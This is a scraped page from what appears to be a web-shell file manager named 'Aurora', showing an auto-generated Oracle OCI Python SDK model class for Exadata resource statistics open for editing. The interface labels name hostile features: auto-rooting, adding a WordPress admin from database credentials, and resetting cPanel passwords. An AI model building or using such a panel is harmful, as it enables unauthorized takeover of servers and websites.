Aurora
Adminer
Auto Root
WP Admin
cPanel Reset
Anti Backdoor
Root
lib
python3.9
site-packages
oci
opsi
models
Upload
New Folder
New File
Name
Size
Permissions
Actions
..
-
-
-
Upload File
Select File
New Folder
Folder Name
New File
File Name
Add WordPress Admin
Database Host
Database Name
Database User
Database Password
Admin Username
Admin Password
cPanel Password Reset
Email Address
Edit: summarize_exadata_insight_resource_statistics_aggregation_collection.py
# coding: utf-8 # Copyright (c) 2016, 2024, Oracle and/or its affiliates. All rights reserved. # This software is dual-licensed to you under the Universal Permissive License (UPL) 1.0 as shown at https://oss.oracle.com/licenses/upl or Apache License 2.0 as shown at http://www.apache.org/licenses/LICENSE-2.0. You may choose either license. # NOTE: This class is auto generated by OracleSDKGenerator. DO NOT EDIT. API Version: 20200630 from oci.util import formatted_flat_dict, NONE_SENTINEL, value_allowed_none_or_none_sentinel # noqa: F401 from oci.decorators import init_model_state_from_kwargs @init_model_state_from_kwargs class SummarizeExadataInsightResourceStatisticsAggregationCollection(object): """ Returns list of the resources with resource statistics like usage,capacity,utilization and usage change percent. """ #: A constant which can be used with the usage_unit property of a SummarizeExadataInsightResourceStatisticsAggregationCollection. #: This constant has a value of "CORES" USAGE_UNIT_CORES = "CORES" #: A constant which can be used with the usage_unit property of a SummarizeExadataInsightResourceStatisticsAggregationCollection. #: This constant has a value of "GB" USAGE_UNIT_GB = "GB" #: A constant which can be used with the usage_unit property of a SummarizeExadataInsightResourceStatisticsAggregationCollection. #: This constant has a value of "MBPS" USAGE_UNIT_MBPS = "MBPS" #: A constant which can be used with the usage_unit property of a SummarizeExadataInsightResourceStatisticsAggregationCollection. #: This constant has a value of "IOPS" USAGE_UNIT_IOPS = "IOPS" #: A constant which can be used with the usage_unit property of a SummarizeExadataInsightResourceStatisticsAggregationCollection. #: This constant has a value of "PERCENT" USAGE_UNIT_PERCENT = "PERCENT" #: A constant which can be used with the exadata_resource_metric property of a SummarizeExadataInsightResourceStatisticsAggregationCollection. #: This constant has a value of "CPU" EXADATA_RESOURCE_METRIC_CPU = "CPU" #: A constant which can be used with the exadata_resource_metric property of a SummarizeExadataInsightResourceStatisticsAggregationCollection. #: This constant has a value of "STORAGE" EXADATA_RESOURCE_METRIC_STORAGE = "STORAGE" #: A constant which can be used with the exadata_resource_metric property of a SummarizeExadataInsightResourceStatisticsAggregationCollection. #: This constant has a value of "IO" EXADATA_RESOURCE_METRIC_IO = "IO" #: A constant which can be used with the exadata_resource_metric property of a SummarizeExadataInsightResourceStatisticsAggregationCollection. #: This constant has a value of "MEMORY" EXADATA_RESOURCE_METRIC_MEMORY = "MEMORY" #: A constant which can be used with the exadata_resource_metric property of a SummarizeExadataInsightResourceStatisticsAggregationCollection. #: This constant has a value of "IOPS" EXADATA_RESOURCE_METRIC_IOPS = "IOPS" #: A constant which can be used with the exadata_resource_metric property of a SummarizeExadataInsightResourceStatisticsAggregationCollection. #: This constant has a value of "THROUGHPUT" EXADATA_RESOURCE_METRIC_THROUGHPUT = "THROUGHPUT" def __init__(self, **kwargs): """ Initializes a new SummarizeExadataInsightResourceStatisticsAggregationCollection object with values from keyword arguments. The following keyword arguments are supported (corresponding to the getters/setters of this class): :param time_interval_start: The value to assign to the time_interval_start property of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type time_interval_start: datetime :param time_interval_end: The value to assign to the time_interval_end property of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type time_interval_end: datetime :param items: The value to assign to the items property of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type items: list[oci.opsi.models.ExadataInsightResourceStatisticsAggregation] :param usage_unit: The value to assign to the usage_unit property of this SummarizeExadataInsightResourceStatisticsAggregationCollection. Allowed values for this property are: "CORES", "GB", "MBPS", "IOPS", "PERCENT", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type usage_unit: str :param exadata_resource_metric: The value to assign to the exadata_resource_metric property of this SummarizeExadataInsightResourceStatisticsAggregationCollection. Allowed values for this property are: "CPU", "STORAGE", "IO", "MEMORY", "IOPS", "THROUGHPUT", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :type exadata_resource_metric: str :param exadata_insight_id: The value to assign to the exadata_insight_id property of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type exadata_insight_id: str :param exadata_display_name: The value to assign to the exadata_display_name property of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type exadata_display_name: str """ self.swagger_types = { 'time_interval_start': 'datetime', 'time_interval_end': 'datetime', 'items': 'list[ExadataInsightResourceStatisticsAggregation]', 'usage_unit': 'str', 'exadata_resource_metric': 'str', 'exadata_insight_id': 'str', 'exadata_display_name': 'str' } self.attribute_map = { 'time_interval_start': 'timeIntervalStart', 'time_interval_end': 'timeIntervalEnd', 'items': 'items', 'usage_unit': 'usageUnit', 'exadata_resource_metric': 'exadataResourceMetric', 'exadata_insight_id': 'exadataInsightId', 'exadata_display_name': 'exadataDisplayName' } self._time_interval_start = None self._time_interval_end = None self._items = None self._usage_unit = None self._exadata_resource_metric = None self._exadata_insight_id = None self._exadata_display_name = None @property def time_interval_start(self): """ **[Required]** Gets the time_interval_start of this SummarizeExadataInsightResourceStatisticsAggregationCollection. The start timestamp that was passed into the request. :return: The time_interval_start of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :rtype: datetime """ return self._time_interval_start @time_interval_start.setter def time_interval_start(self, time_interval_start): """ Sets the time_interval_start of this SummarizeExadataInsightResourceStatisticsAggregationCollection. The start timestamp that was passed into the request. :param time_interval_start: The time_interval_start of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type: datetime """ self._time_interval_start = time_interval_start @property def time_interval_end(self): """ **[Required]** Gets the time_interval_end of this SummarizeExadataInsightResourceStatisticsAggregationCollection. The end timestamp that was passed into the request. :return: The time_interval_end of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :rtype: datetime """ return self._time_interval_end @time_interval_end.setter def time_interval_end(self, time_interval_end): """ Sets the time_interval_end of this SummarizeExadataInsightResourceStatisticsAggregationCollection. The end timestamp that was passed into the request. :param time_interval_end: The time_interval_end of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type: datetime """ self._time_interval_end = time_interval_end @property def items(self): """ **[Required]** Gets the items of this SummarizeExadataInsightResourceStatisticsAggregationCollection. Collection of Resource Statistics items :return: The items of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :rtype: list[oci.opsi.models.ExadataInsightResourceStatisticsAggregation] """ return self._items @items.setter def items(self, items): """ Sets the items of this SummarizeExadataInsightResourceStatisticsAggregationCollection. Collection of Resource Statistics items :param items: The items of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type: list[oci.opsi.models.ExadataInsightResourceStatisticsAggregation] """ self._items = items @property def usage_unit(self): """ **[Required]** Gets the usage_unit of this SummarizeExadataInsightResourceStatisticsAggregationCollection. Displays usage unit ( CORES, GB , PERCENT, MBPS) Allowed values for this property are: "CORES", "GB", "MBPS", "IOPS", "PERCENT", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :return: The usage_unit of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :rtype: str """ return self._usage_unit @usage_unit.setter def usage_unit(self, usage_unit): """ Sets the usage_unit of this SummarizeExadataInsightResourceStatisticsAggregationCollection. Displays usage unit ( CORES, GB , PERCENT, MBPS) :param usage_unit: The usage_unit of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type: str """ allowed_values = ["CORES", "GB", "MBPS", "IOPS", "PERCENT"] if not value_allowed_none_or_none_sentinel(usage_unit, allowed_values): usage_unit = 'UNKNOWN_ENUM_VALUE' self._usage_unit = usage_unit @property def exadata_resource_metric(self): """ **[Required]** Gets the exadata_resource_metric of this SummarizeExadataInsightResourceStatisticsAggregationCollection. Defines the type of exadata resource metric (example: CPU, STORAGE) Allowed values for this property are: "CPU", "STORAGE", "IO", "MEMORY", "IOPS", "THROUGHPUT", 'UNKNOWN_ENUM_VALUE'. Any unrecognized values returned by a service will be mapped to 'UNKNOWN_ENUM_VALUE'. :return: The exadata_resource_metric of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :rtype: str """ return self._exadata_resource_metric @exadata_resource_metric.setter def exadata_resource_metric(self, exadata_resource_metric): """ Sets the exadata_resource_metric of this SummarizeExadataInsightResourceStatisticsAggregationCollection. Defines the type of exadata resource metric (example: CPU, STORAGE) :param exadata_resource_metric: The exadata_resource_metric of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type: str """ allowed_values = ["CPU", "STORAGE", "IO", "MEMORY", "IOPS", "THROUGHPUT"] if not value_allowed_none_or_none_sentinel(exadata_resource_metric, allowed_values): exadata_resource_metric = 'UNKNOWN_ENUM_VALUE' self._exadata_resource_metric = exadata_resource_metric @property def exadata_insight_id(self): """ **[Required]** Gets the exadata_insight_id of this SummarizeExadataInsightResourceStatisticsAggregationCollection. The `OCID`__ of the Exadata insight. __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm :return: The exadata_insight_id of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :rtype: str """ return self._exadata_insight_id @exadata_insight_id.setter def exadata_insight_id(self, exadata_insight_id): """ Sets the exadata_insight_id of this SummarizeExadataInsightResourceStatisticsAggregationCollection. The `OCID`__ of the Exadata insight. __ https://docs.cloud.oracle.com/iaas/Content/General/Concepts/identifiers.htm :param exadata_insight_id: The exadata_insight_id of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type: str """ self._exadata_insight_id = exadata_insight_id @property def exadata_display_name(self): """ Gets the exadata_display_name of this SummarizeExadataInsightResourceStatisticsAggregationCollection. The user-friendly name for the Exadata system. The name does not have to be unique. :return: The exadata_display_name of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :rtype: str """ return self._exadata_display_name @exadata_display_name.setter def exadata_display_name(self, exadata_display_name): """ Sets the exadata_display_name of this SummarizeExadataInsightResourceStatisticsAggregationCollection. The user-friendly name for the Exadata system. The name does not have to be unique. :param exadata_display_name: The exadata_display_name of this SummarizeExadataInsightResourceStatisticsAggregationCollection. :type: str """ self._exadata_display_name = exadata_display_name def __repr__(self): return formatted_flat_dict(self) def __eq__(self, other): if other is None: return False return self.__dict__ == other.__dict__ def __ne__(self, other): return not self == other